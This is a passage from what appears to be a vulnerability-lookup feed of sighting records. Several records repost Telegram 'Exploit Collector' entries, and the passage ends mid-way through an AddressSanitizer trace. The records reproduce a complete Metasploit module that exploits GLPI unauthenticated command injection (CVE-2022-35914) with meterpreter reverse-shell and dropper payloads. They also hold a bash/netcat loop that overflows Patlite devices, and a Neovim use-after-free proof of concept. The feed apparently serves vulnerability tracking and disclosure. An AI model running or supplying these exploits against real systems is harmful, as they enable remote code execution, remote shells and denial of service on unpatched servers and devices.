normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid.  We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:19.720853Z"}, {"uuid": "0660ae71-d55a-408c-9fb2-75fd071c13bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35911", "type": "seen", "source": "https://t.me/hacking_Attack/62912", "content": "Exploit Collector\nPatlite 1.46 Buffer Overflow\n\nhttps://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png \nPatlite versions 1.45 and below suffer from a buffer overflow vulnerability.\n\nSHA-256 | 5c29e3afa128083754b4bac9a8b929fac03751344f5c65c15f43df42fefcb136\n\nDownload\n# Exploit Title: CVE-2022-35911 - Patlite Overflow.\n# Date: 2022-07-07\n# Exploit Author: Samy Younsi - Necrum Security Labs\n# Vendor Homepage: https://www.patlite.co.jp\n# Software Link: https://www.patlite.co.jp/product/detail0000021462.html\n# Version: Versions 1.46 and bellow are affected\n# Tested on: CentOs & Ubuntu\n# CVE : CVE-2022-35911\n#!/bin/bash\n\nIP=\"192.168.1.101\"\nPORT=\"80\"\n\nfor i in {0..1000}; \ndo \necho \"[$i]: \"; \necho -ne \"GET /api/control/AAAAAAAAAAAAAAAAAA HTTP/1.1\\r\\nHost: $IP\\r\\n\\r\\n\" | nc $IP $PORT; \ndone > /dev/null 2>&1\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:34.037770Z"}, {"uuid": "52c10971-1a83-4661-94d6-24ab2489514a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid.  We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-05T05:00:04.000384Z"}, {"uuid": "91d7284f-db47-438e-9079-26107165db11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35911", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/62912", "content": "Exploit Collector\nPatlite 1.46 Buffer Overflow\n\nhttps://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png \nPatlite versions 1.45 and below suffer from a buffer overflow vulnerability.\n\nSHA-256 | 5c29e3afa128083754b4bac9a8b929fac03751344f5c65c15f43df42fefcb136\n\nDownload\n# Exploit Title: CVE-2022-35911 - Patlite Overflow.\n# Date: 2022-07-07\n# Exploit Author: Samy Younsi - Necrum Security Labs\n# Vendor Homepage: https://www.patlite.co.jp\n# Software Link: https://www.patlite.co.jp/product/detail0000021462.html\n# Version: Versions 1.46 and bellow are affected\n# Tested on: CentOs & Ubuntu\n# CVE : CVE-2022-35911\n#!/bin/bash\n\nIP=\"192.168.1.101\"\nPORT=\"80\"\n\nfor i in {0..1000}; \ndo \necho \"[$i]: \"; \necho -ne \"GET /api/control/AAAAAAAAAAAAAAAAAA HTTP/1.1\\r\\nHost: $IP\\r\\n\\r\\n\" | nc $IP $PORT; \ndone > /dev/null 2>&1\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T15:00:07.045968Z"}, {"uuid": "da889a99-aa33-4144-922f-0f51814cc790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "exploited", "source": "https://t.me/cissp/6650", "content": "CISA has added 3 more flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation:\n\nCVE-2022-35914 - Teclib GLPI RCE\nCVE-2022-33891 - Apache Spark Command Injection\nCVE-2022-28810 - Zoho ADSelfService Plus RCE\n\nRead: https://thehackernews.com/2023/03/cisas-kev-catalog-updated-with-3-new.htm\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.17", "creation_timestamp": "2026-09-10T02:00:04.379746Z"}, {"uuid": "3b73de44-5eb3-48ab-8c32-1dcd9fe4151f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "Telegram/0TYm20Si6i9ATjKMTFhXmrxNMpb5Q10R_tUfUFsZfOykYXE", "content": "", "creation_timestamp": "2026-09-18T04:00:13.856317Z"}, {"uuid": "ac0b9f4e-af48-4978-9846-77dfc87d025c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "published-proof-of-concept", "source": "Telegram/0TYm20Si6i9ATjKMTFhXmrxNMpb5Q10R_tUfUFsZfOykYXE", "content": "", "creation_timestamp": "2026-09-19T00:00:13.014534Z"}, {"uuid": "7b4c9ab9-1668-4bca-a1e9-3e7057a47048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3591", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/05df94d4c2dc2c9995b1ddb1e1c58669", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: func Test_autocmd_split_dummy()\n\nline 19: \n\nline 20: call Test_autocmd_split_dummy()\n\ncalling Test_autocmd_split_dummy()\n\nline 1:   auto BufReadPre * exe \"sbuf \" .. expand(\"\") \n\nline 2:   au FileChangedShell * let v:fcs_choice = 'reload'\n\nline 3:   func Xautocmd_changelist()\n\nline 8:   call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n\nline 2: unlet! b:keymap_name\n\nline 3:     lex 'Xtestfile2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in Test_autocmd_split_dummy\n\nline 9:   call assert_fails('call Xautocmd_changelist()', 'E86:')\n\nline 9: call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 3\n\nExecuting FileChangedShell Autocommands for \"*\"\nautocommand let v:fcs_choice = 'reload'\n\nExecuting: let v:fcs_choice = 'reload'\n\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n=================================================================\n==4597==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000007108 at pc 0x000000b3de84 bp 0x7ffe11c3cf30 sp 0x7ffe11c3cf28\nREAD of size 4 at 0x627000007108 thread T0\n    #0 0xb3de83 in scroll_to_fraction /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6093:39\n    #1 0xb2a0c2 in win_set_inner_size /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6213:7\n    #2 0xb2f842 in win_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6074:3\n    #3 0xb305cb in frame_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3375:5\n    #4 0xb32975 in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2104:7\n    #5 0xb33385 in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2354:9\n    #6 0xb25707 in win_equal /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2066:3\n    #7 0xb2dde2 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1489:5\n    #8 0xb222f3 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #9 0x5c9c9f in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1434:9\n    #10 0x5c8d55 in goto_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:891:9\n    #11 0x73c279 in ex_buffer /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c\n    #12 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x67cf3b in ex_execute /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7727:7\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x5bd3c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1866:5\n    #20 0x5bf7d7 in apply_autocmds_exarg /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1549:10\n    #21 0x777487 in readfile /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c\n    #22 0x787883 in buf_reload /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:5038:9\n    #23 0x786a81 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4952:5\n    #24 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #25 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #26 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #27 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #30 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #31 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #32 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #33 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #34 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #35 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #36 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #37 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #38 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #39 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #40 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #41 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #42 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #43 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #44 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #45 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #46 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #47 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #48 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #49 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #50 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #51 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #52 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #53 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #54 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #55 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #56 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #57 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #58 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #59 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #60 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #61 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #62 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #63 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #64 0x7fd427780082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #65 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x627000007108 is located 8 bytes inside of 12320-byte region [0x627000007100,0x62700000a120)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0x5c858c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:834:5\n    #3 0x5c5c8e in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:665:5\n    #4 0x5d66e1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4214:3\n    #5 0x5d656d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4197:5\n    #6 0x786bdb in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #8 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #9 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #10 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #14 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #15 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #16 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #17 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #23 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #24 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #25 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #26 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #27 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n\npreviously allocated by thread T0 here:\n    #0 0x4df842 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df842)\n    #1 0x88a332 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:15\n    #2 0x5cac5f in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1797:11\n    #3 0x5d62c4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4163:19\n    #4 0x786bdb in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #6 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #7 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #12 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #13 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #14 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #15 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #21 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #22 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #23 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #24 0x6f30bc in ex_call 